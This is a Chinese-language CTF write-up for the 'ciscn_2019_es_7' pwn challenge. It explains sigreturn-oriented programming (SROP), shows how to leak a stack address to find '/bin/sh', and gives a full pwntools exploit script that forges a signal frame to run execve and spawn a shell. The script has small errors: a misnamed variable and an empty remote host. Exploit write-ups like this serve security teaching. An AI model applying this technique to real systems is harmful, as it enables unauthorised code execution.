ciscn_2019_es_7
惯例线chacksec一下
买逆函数没什么营养直接跳转到vuln函数
可以发现很明显的系统调用以及栈溢出 预计是一道SROP题
由于buf的大小只有0x10因此会打印
有趣的是题目这里为了减小难度直接将gadget给了我们(c语言没什么营养直接上汇编)
相关知识点链接: SROP - CTF Wiki (ctf-wiki.org)
【该链接直达ctfwikisrop知识点 建议先看完srop知识点再来解题】
对此知识点仍有疑惑的师傅可以移步看这篇大佬写的博客 非常详细且清楚 Srop 原理与利用方法 - z2yh - 博客园 (cnblogs.com)
这里简单讲一下:
signal机制:
- 内核向某个进程发送signal机制,该进程被暂时挂起,进入内核态
- 然后内核为该进程保存对应的上下文,然后跳转到之前注册号的signal handler中处理相应的signal
- 当signal返回后内核为该进程恢复之前保存的上下文 最终恢复进程的执行。
漏洞原因:
- 在sigreturn利用signal frame回复所有寄存器以回到之前的状态时没有验证signal的产生和signal是否一一对应
- 当异常产生后我们把signal frame保存到栈但栈是用户空间的栈也就意味着用户可能可以修改signal frame当我们恢复时signal可能被篡改了
注意:我们要利用pwntools中的功能实现signal的构造
syscall(系统调用)是根据rax寄存器里的值,来决定进行多少号的系统调用。
在x64系统中,15号系统调用对应rt_sigreturn
我们发现在汇编中存在systemcall因此认为事srop
为了实现srop我们需要满足四个条件
- 攻击者要通过栈溢出等漏洞可以篡改栈上的内容
- 需要知道栈的地址(比如写入的/bin/sh的地址)
- 需要知道syscall指令在内存中的地址
- 需要知道signal return系统调用的内存地址
首先由于存在栈溢出 条件一满足
而利用ROPgadget功能我们也可以很轻松的得到syscall ret在程序中的地址 条件三满足
而当我们打印时打印长度超过了buf的实际长度因此会将后面的信息也打印出来 而我们通过debug模式可以发现接收到的信息0x20处是栈上的地址此时我们利用 info proc map 查看当前的内存映射
在stack段上找“/bin/sh”的地址
find 0x7ffe697c1000,0x7ffe697e2000,"/bin/sh"
然后利用得到的地址与泄露的地址进行比较计算出offset
这样我们就可以利用泄露处的地址减-offset来得到"/bin/sh"的地址栏 条件二满足
接下来就是SROP的关键步骤:需要知道signal return系统调用的内存地址
在x64系统中,15号系统调用对应rt_sigreturn 因此我们只需要
注意此处
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1EgzGSTH-1677491272226)(1677426639287.png)]
需要关注的是pwntools已经帮助我们集成了srop工具 因此我们只需要王他提供的模板里面天入东西即可
sigframe=SigreturnFrame()#pwntools集成的srop工具
sigframe.rax = constants.SYS_execve
sigframe.rdi = sh_address#bin_sh_addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_ret
exp:
from pwn import *
from LibcSearcher import *
io=remote('')
syscall=0x400517
sigreturn=0x4004da #mov rax, 0Fh
system=0x4004e2 #mov rax, 3Bh (execve对应的调用号是59即0x3B)
rax=0x4004f1 #xor rax, rax (将rax清零)
io.send("/bin/sh"+"\x00"*9+p64(rax))
io.recv(0x20)
stack_addr=u64(io.recv(8))
sh_addr=stack_addr-0x118
io.recv(8)
sigframe=SigreturnFrame()#pwntools集成的srop工具
sigframe.rax = constants.SYS_execve
sigframe.rdi = sh_address#bin_sh_addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall
io.send("/bin/sh"+"\x00"*0x9+p64(sigreturn)+p64(syscall)+str(sigframe))
io.interactive()